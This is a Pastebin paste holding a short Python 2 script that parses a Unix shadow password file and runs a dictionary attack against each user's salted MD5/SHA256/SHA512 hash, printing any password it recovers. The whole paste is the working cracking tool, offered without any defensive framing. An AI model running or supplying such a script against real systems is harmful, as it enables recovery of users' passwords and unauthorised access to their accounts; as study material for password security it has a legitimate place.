Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #/etc/shadow
- #MD5/SHA256/SHA512
- import crypt
- def testPass(hashType, salt, hash, saltedHash):
- print "With salt: $",salt
- dictFile = open('dictionary.txt','r')
- for word in dictFile.readlines():
- word = word.strip('\n')
- saltFor = '$' + hashType + '$' + salt
- cryptWord = crypt.crypt(word,saltFor)
- if (cryptWord == saltedHash):
- print "[+]Found Password: "+word+"\n"
- return
- print "[-] Password Not Found.\n"
- return
- def main():
- shadowFile = open('shadow')
- for line in shadowFile.readlines():
- if ":" in line:
- user = line.split(':')[0]
- saltedHash = line.split(':')[1]
- hashType = saltedHash.split('$')[1]
- salt = saltedHash.split('$')[2]
- hash = saltedHash.split('$')[3]
- print 'dict attack on user: ', user
- testPass(hashType, salt, hash, saltedHash)
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment